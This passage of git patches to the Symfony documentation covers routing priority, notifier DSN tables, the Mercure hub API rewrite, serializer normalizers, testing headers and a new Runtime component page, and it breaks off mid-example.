-When defining a greedy pattern that matches many routes, this may be at the
-beginning of your routing collection and prevents any route defined after to be
-matched.
-A ``priority`` optional parameter is available in order to let you choose the
-order of your routes, and it is only available when using annotations.
+Symfony evaluates routes in the order they are defined. So a routing pattern
+that matches many routes might prevent subsequent routes to be matched. In YAML
+and XML you can control the order by moving the routes up or down inside the file.
+For annotations and attributes, there is an optional ``priority`` parameter:
 
 .. configuration-block::
 

From af96b342256b1683aed3fcd0c648bb05110dba5c Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Thu, 1 Apr 2021 16:27:39 +0200
Subject: [PATCH 1997/7107] Update doc for mercure 0.5

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 72afd815ac3..45507e1784a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -157,7 +157,7 @@ Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@defaul
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure     ``symfony/mercure-notifier``      ``mercure://PUBLISHER_SERVICE_ID?topic=TOPIC``
+Mercure     ``symfony/mercure-notifier``      ``mercure://HUB_ID?topic=TOPIC``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``

From 7eb064ca248c04d46d69dc168a62d0f84393c5c4 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <ogizanagi@users.noreply.github.com>
Date: Fri, 2 Apr 2021 14:56:31 +0200
Subject: [PATCH 1998/7107] [Lock] Remove tip about  the RetryTillSaveStore

---
 reference/configuration/framework.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6458d77328a..d107cf804df 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3090,18 +3090,6 @@ name
 
 Name of the lock you want to create.
 
-.. tip::
-
-    If you want to use the `RetryTillSaveStore` for :ref:`non-blocking locks <lock-blocking-locks>`,
-    you can do it by :doc:`decorating the store </service_container/service_decoration>` service:
-
-    .. code-block:: yaml
-
-        lock.invoice.retry_till_save.store:
-            class: Symfony\Component\Lock\Store\RetryTillSaveStore
-            decorates: lock.invoice.store
-            arguments: ['@.inner', 100, 50]
-
 mailer
 ~~~~~~
 

From 9e9796bd7a04c18269531e64dae8367bd00634ad Mon Sep 17 00:00:00 2001
From: Felipy Amorim <felipyamorim@gmail.com>
Date: Sun, 4 Apr 2021 21:41:28 -0300
Subject: [PATCH 1999/7107] remove namespace unused

---
 security/user_checkers.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index b215191e680..a1662298276 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -24,7 +24,6 @@ displayed to the user::
     namespace App\Security;
 
     use App\Entity\User as AppUser;
-    use App\Exception\AccountDeletedException;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;

From 3fe341f6c733e4d3c40d1dd44d802c5d300c8c80 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko | CREATION <vasilij@creation.lt>
Date: Thu, 1 Apr 2021 16:36:38 +0300
Subject: [PATCH 2000/7107] [Notifier] [LightSMS] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 72afd815ac3..e23c85aeefa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -64,6 +64,7 @@ FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@defa
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+LightSMS    ``symfony/lightsms-notifier``     ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -85,7 +86,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit and FakeSms
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSMS
     integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 018d50ba322d5e58990918b226f0363dd0fcf541 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 31 Mar 2021 09:17:13 +0200
Subject: [PATCH 2001/7107] [Notifier][FakeChat] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e23c85aeefa..459f7d406b7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -153,6 +153,7 @@ integration with these chat services:
 Service     Package                           DSN
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
+FakeChat    ``symfony/fake-chat-notifier``    ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
 Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
@@ -178,7 +179,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
 
 .. versionadded:: 5.3
 
-    The Gitter and Mercure integrations were introduced in Symfony 5.3.
+    The Gitter, Mercure and FakeChat integrations were introduced in Symfony 5.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 8e5d9bcaaee6bf5bb55b927331f470a66352f04e Mon Sep 17 00:00:00 2001
From: ferror <zmalcherczyk@gmail.com>
Date: Mon, 5 Apr 2021 16:46:16 +0200
Subject: [PATCH 2002/7107] Every custom header in testing client must have
 HTTP prefix

---
 testing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testing.rst b/testing.rst
index 130ed0ab2ae..d6fa9774a1b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1029,6 +1029,10 @@ You can also override HTTP headers on a per request basis::
         'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
     ]);
 
+.. caution::
+
+    Every custom header must have `HTTP_` prefix.
+
 .. tip::
 
     The test client is available as a service in the container in the ``test``

From cc0337ca95bcdf1ecec0c3db32cfedb81e2911cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Apr 2021 13:36:11 +0200
Subject: [PATCH 2003/7107] Added more details to the explanation

---
 testing.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d6fa9774a1b..12bd6c74524 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1031,7 +1031,10 @@ You can also override HTTP headers on a per request basis::
 
 .. caution::
 
-    Every custom header must have `HTTP_` prefix.
+    The name of your custom headers must follow the syntax defined in the
+    `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
+    uppercase and prefix the result with ``HTTP_``. For example, if your
+    header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
 
 .. tip::
 
@@ -1128,3 +1131,4 @@ Learn more
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
 .. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
+.. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 0e53eb0a675ccd1f64948fd0b000016bc409be26 Mon Sep 17 00:00:00 2001
From: azjezz <azjezz@protonmail.com>
Date: Wed, 24 Mar 2021 12:19:38 +0100
Subject: [PATCH 2004/7107] update mercure documentation

---
 mercure.rst | 169 +++++++++++++++++++++++++++++++++++-----------------
 1 file changed, 114 insertions(+), 55 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index f32e8eee6a8..d67609f659a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -159,20 +159,19 @@ service, including controllers::
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
     class PublishController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function __invoke(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
-            // The Publisher service is an invokable object
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('published!');
         }
@@ -297,17 +296,14 @@ by using the ``AbstractController::addLink`` helper method::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): JsonResponse
+        public function __invoke(Request $request, Discovery $discovery): JsonResponse
         {
-            // This parameter is automatically created by the MercureBundle
-            $hubUrl = $this->getParameter('mercure.default_hub');
-
             // Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
-            $this->addLink($request, new Link('mercure', $hubUrl));
+            $discovery->addLink($request);
 
             return $this->json([
                 '@id' => '/books/1',
@@ -346,13 +342,13 @@ of the ``Update`` constructor to ``true``::
     // src/Controller/Publish.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function __invoke(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
@@ -362,7 +358,7 @@ of the ``Update`` constructor to ``true``::
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
             // Subscriber's JWT must contain this topic, a URI template it matches or * in mercure.subscribe to receive the update
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('private update published!');
         }
@@ -406,44 +402,71 @@ This cookie will be automatically sent by the web browser when connecting to the
 Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
 from it.
 
-To generate the JWT, we'll use the ``lcobucci/jwt`` library. Install it:
+add your JWT secret to the configuration as follow ::
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        secret: '!ChangeMe!'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt secret="!ChangeMe!"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
 
-    $ composer require lcobucci/jwt
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'secret' => '!ChangeMe!',
+                    ]
+                ],
+            ],
+        ]);
 
 And here is the controller::
 
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Configuration;
-    use Lcobucci\JWT\Signer\Hmac\Sha256;
-    use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Authorization;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): Response
+        public function __invoke(Request $request, Discovery $discovery, Authorization $authorization): Response
         {
-            $hubUrl = $this->getParameter('mercure.default_hub');
-            $this->addLink($request, new Link('mercure', $hubUrl));
-
-            $key = Key\InMemory::plainText('mercure_secret_key'); // don't forget to set this parameter! Test value: !ChangeMe!
-            $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
+            $discovery->addLink($request);
 
-            $token = $configuration->builder()
-                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken($configuration->signer(), $configuration->signingKey())
-                ->toString();
+            $response = new JsonResponse([
+                '@id' => '/demo/books/1',
+                'availability' => 'https://schema.org/InStock'
+            ]);
 
-            $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
-            $response->headers->set(
-                'set-cookie',
-                sprintf('mercureAuthorization=%s; path=/.well-known/mercure; secure; httponly; SameSite=strict', $token)
+            $response->headers->setCookie(
+                $authorization->createCookie($request,  ["http://example.com/books/1"])
             );
 
             return $response;
@@ -459,15 +482,17 @@ Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
 Instead of directly storing a JWT in the configuration,
-you can create a service that will return the token used by
-the ``Publisher`` object::
+you can create a token provider that will return the token used by
+the ``HubInterface`` object::
 
-    // src/Mercure/MyJwtProvider.php
+    // src/Mercure/MyTokenProvider.php
     namespace App\Mercure;
 
-    final class MyJwtProvider
+    use Symfony\Component\Mercure\JWT\TokenProviderInterface;
+
+    final class MyTokenProvider implements TokenProviderInterface
     {
-        public function __invoke(): string
+        public function getToken(): string
         {
             return 'the-JWT';
         }
@@ -484,7 +509,8 @@ Then, reference this service in the bundle configuration:
             hubs:
                 default:
                     url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt_provider: App\Mercure\MyJwtProvider
+                    jwt:
+                        provider: App\Mercure\MyTokenProvider
 
     .. code-block:: xml
 
@@ -494,8 +520,9 @@ Then, reference this service in the bundle configuration:
             <hub
                 name="default"
                 url="https://mercure-hub.example.com/.well-known/mercure"
-                jwt-provider="App\Mercure\MyJwtProvider"
-            />
+            >
+                <jwt provider="App\Mercure\MyTokenProvider"/>
+            </hub>
         </config>
 
     .. code-block:: php
@@ -507,7 +534,9 @@ Then, reference this service in the bundle configuration:
             'hubs' => [
                 'default' => [
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt_provider' => MyJwtProvider::class,
+                    'jwt' => [
+                        'provider' => MyJwtProvider::class,
+                    ]
                 ],
             ],
         ]);
@@ -568,29 +597,59 @@ its Mercure support.
 Testing
 --------
 
-During functional testing there is no need to send updates to Mercure. They will
-be handled by a stub publisher::
+During unit testing there is not need to send updates to Mercure.
+
+You can instead make use of the `MockHub`::
+
+    // tests/Functional/.php
+    namespace App\Tests\Unit\Controller;
 
-    // tests/Functional/Fixtures/PublisherStub.php
+    use App\Controller\MessageController;
+    use Symfony\Component\Mercure\HubInterface;
+    use Symfony\Component\Mercure\JWT\StaticTokenProvider;
+    use Symfony\Component\Mercure\MockHub;
+    use Symfony\Component\Mercure\Update;
+
+    class MessageControllerTest extends TestCase
+    {
+        public function testPublishing()
+        {
+            $hub = new MockHub('default', 'https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
+                // $this->assertTrue($update->isPrivate());
+
+                return 'id';
+            });
+
+            $controller = new MessageController($hub);
+
+            ...
+        }
+    }
+
+During functional testing you can instead decorate the Hub::
+
+    // tests/Functional/Fixtures/HubStub.php
     namespace App\Tests\Functional\Fixtures;
 
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublisherStub implements PublisherInterface
+    class HubStub implements HubInterface
     {
-        public function __invoke(Update $update): string
+        public function publish(Update $update): string
         {
-            return '';
+            return 'id';
         }
+
+        // implement rest of HubInterface methods here
     }
 
-PublisherStub decorates the default publisher service so no updates are actually
-sent. Here is the PublisherStub implementation::
+HubStub decorates the default hub service so no updates are actually
+sent. Here is the HubStub implementation::
 
     # config/services_test.yaml
-    App\Tests\Functional\Fixtures\PublisherStub:
-        decorates: mercure.hub.default.publisher
+    App\Tests\Functional\Fixtures\HubStub:
+        decorates: mercure.hub.default
 
 
 Debugging

From 09b1c98830c5712052824df30375788a2eb37881 Mon Sep 17 00:00:00 2001
From: Guillaume Sarramegna <13528732+sarramegnag@users.noreply.github.com>
Date: Tue, 30 Mar 2021 19:14:37 +0200
Subject: [PATCH 2005/7107] Standardize built-in normalizers lists

---
 serializer/normalizers.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 50352e29c85..224fb809bcc 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -27,13 +27,13 @@ Symfony includes the following normalizers but you can also
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
   normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-  for :phpclass:`DateTimeZone` objects
+  for :phpclass:`DateTimeZone` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
+  objects implementing the :phpclass:`DateTimeInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
+  for :phpclass:`DateInterval` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
+  transform :phpclass:`SplFileInfo` objects in `Data URIs`_;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
   :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
@@ -43,11 +43,13 @@ Symfony includes the following normalizers but you can also
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
-  normalize PHP object using `PHP reflection`_.
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
+  normalize PHP object using `PHP reflection`_;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
+  to deal with objects implementing the :phpclass:`JsonSerializable` interface;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` converts objects that implement :class:`Symfony\\Component\\Uid\\AbstractUid` into strings and denormalizes uuid or ulid strings to :class:`Symfony\\Component\\Uid\\Uuid` or :class:`Symfony\\Component\\Uid\\Ulid`.
+
 
 .. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php

From 6c728236ebf666002fb73fe9b5c53e6b65d3aeb9 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 6 Apr 2021 22:15:12 +0200
Subject: [PATCH 2006/7107] [HttpFoundation] Remove extra space

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 980eb597c3b..0fa78dc6439 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -633,7 +633,7 @@ handling, switching to chunked encoding instead::
     use Symfony\Component\HttpFoundation\BinaryFileResponse;
     use Symfony\Component\HttpFoundation\File\Stream;
 
-    $stream  = new Stream('path/to/stream');
+    $stream = new Stream('path/to/stream');
     $response = new BinaryFileResponse($stream);
 
 .. note::

From 7388cc941f0c6bf084ecfe4de2cfb025fc00047b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 9 Mar 2021 18:34:08 +0100
Subject: [PATCH 2007/7107] Init Runtime docs

---
 components/runtime.rst | 417 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 417 insertions(+)
 create mode 100644 components/runtime.rst

diff --git a/components/runtime.rst b/components/runtime.rst
new file mode 100644
index 00000000000..760b10397a4
--- /dev/null
+++ b/components/runtime.rst
@@ -0,0 +1,417 @@
+.. index::
+   single: Runtime
+   single: Components; Runtime
+
+The Runtime Component
+======================
+
+    The Runtime Component decouples the bootstrapping logic from any global state
+    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
+    Swoole etc without any changes.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/runtime
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+The Runtime component allows you to write front-controllers in a generic way
+and with use of configuration you may change the behavior. Let's consider the
+``public/index.php`` as an example. It will return a callable which will create
+and return the application::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+    };
+
+The special ``autoload_runtime.php`` is automatically created when composer dumps
+the autoload files since the component includes a composer plugin. The ``autoload_runtime.php``
+will instantiate a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`, its job
+is to take the callable and resolve the arguments (``array $context``). Then it calls
+the callable to get the application ``App\Kernel``. At last it will run the application,
+ie calling ``$kernel->handle(Request::createFromGlobals())->send()``.
+
+To make a console application, the same bootstrap code would look like::
+
+    #!/usr/bin/env php
+    <?php
+    // bin/console
+
+    use App\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+        return new Application($kernel);
+    };
+
+Selecting Runtimes
+------------------
+
+The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`, it
+works excellent on most applications running with a webserver like Nginx and Apache,
+and PHP-FPM. You may change Runtime to :class:`Symfony\\Component\\Runtime\\GenericRuntime`
+or a custom Runtime for Swoole or Aws Lambda. This can be done by specifying the
+Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
+``extra.runtime.class`` in ``composer.json``.
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+            }
+        }
+    }
+
+Using SymfonyRuntime
+--------------------
+
+The :class:`Symfony\\Component\\Runtime\\RuntimeInterface` has two methods. One
+to get an instance of :class:`Symfony\\Component\\Runtime\\ResolverInterface`
+that prepares the arguments to the callable and one get an instance of
+:class:`Symfony\\Component\\Runtime\\RunnerInterface` to run the application.
+
+The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
+arguments and different applications.
+
+Resolvable Arguments
+~~~~~~~~~~~~~~~~~~~~
+
+The closure returned from the script may have zero or more arguments.::
+
+    <?php
+    // public/index.php
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (InputInterface $input, OutputInterface $output) {
+        // ...
+    };
+
+
+``:class:`Symfony\\Component\\HttpFoundation\\Request` $request``
+    A request created from globals.
+
+``:class:`Symfony\\Component\\Console\\Input\\InputInterface` $input``
+    An input to read options and arguments.
+
+``:class:`Symfony\\Component\\Console\\Output\\OutputInterface` $output``
+    Console output to print to the CLI with style.
+
+``:class:`Symfony\\Component\\Console\\Application` $application``
+    An application for creating CLI applications.
+
+``:class:`Symfony\\Component\\Command\\Command` $command``
+    For creating one line command CLI applications.
+
+``array $context``
+    This is the same as ``$_SERVER`` + ``$_ENV``
+
+``array $argv``
+    The arguments passed to the command. Same as ``$_SERVER['argv']``
+
+``array $request``
+    With keys ``query``, ``body``, ``files`` and ``session``.
+
+Resolvable Applications
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The application returned by the closure below is a Symfony Kernel. However, the
+:class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
+different applications.::
+
+    <?php
+    // public/index.php
+    use App\Kernel;
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function () {
+        return new Kernel('prod', false);
+    };
+
+``:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface```
+    The application will be executed with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
+    just like a "standard" Symfony application.
+
+``:class:`Symfony\\Component\\HttpFoundation\\Response```
+    The Response will be printed by
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``.::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\HttpFoundation\Response;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new Response('Hello world');
+        };
+
+``:class:`Symfony\\Component\\Console\\Command\\Command```
+    To write one command applications. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+
+        <?php
+
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (Command $command) {
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            return $command;
+        };
+
+``:class:`Symfony\\Component\\Console\\Application```
+    Useful with console applications with more than one command. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+
+        <?php
+
+        use Symfony\Component\Console\Application;
+        use Symfony\Component\Console\Command\Command;
+        use Symfony\Component\Console\Input\InputInterface;
+        use Symfony\Component\Console\Output\OutputInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function (array $context) {
+            $command = new Command('hello');
+            $command->setCode(function (InputInterface $input, OutputInterface $output) {
+                $output->write('Hello World');
+            });
+
+            $app = new Application();
+            $app->add($command);
+            $app->setDefaultCommand('hello', true);
+
+            return $app;
+        };
+
+``:class:`Symfony\\Component\\Runtime\\RunnerInterface```
+    The ``RuntimeInterface`` is a way to use a custom application with the
+    generic Runtime.::
+
+        <?php
+        // public/index.php
+        use Symfony\Component\Runtime\RunnerInterface;
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            return new class implements RunnerInterface {
+                public function run(): int
+                {
+                    echo 'Hello World';
+
+                    return 0;
+                }
+
+            };
+        };
+
+``callable``
+    Your "application" can also be a ``callable``. The first callable will return
+    the "application" and the second callable is the "application" itself.::
+
+        <?php
+        // public/index.php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            $app = function() {
+                echo 'Hello World';
+
+                return 0;
+            };
+
+            return $app;
+        };
+
+``void``
+    If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
+    everything is fine.::
+
+        <?php
+
+        require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+        return function () {
+            echo 'Hello world';
+        };
+
+
+Using Options
+~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
+options. They can be passed to the constructor in two ways. First by specifying
+options to ``APP_RUNTIME_OPTIONS`` environment variable.::
+
+    <?php
+
+    $_SERVER['APP_RUNTIME_OPTIONS'] = [
+        'project_dir' => '/var/task',
+    ];
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    // ...
+
+The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
+``extra.runtime.options`` in ``composer.json``.
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "options": {
+                    "project_dir": "/var/task"
+                }
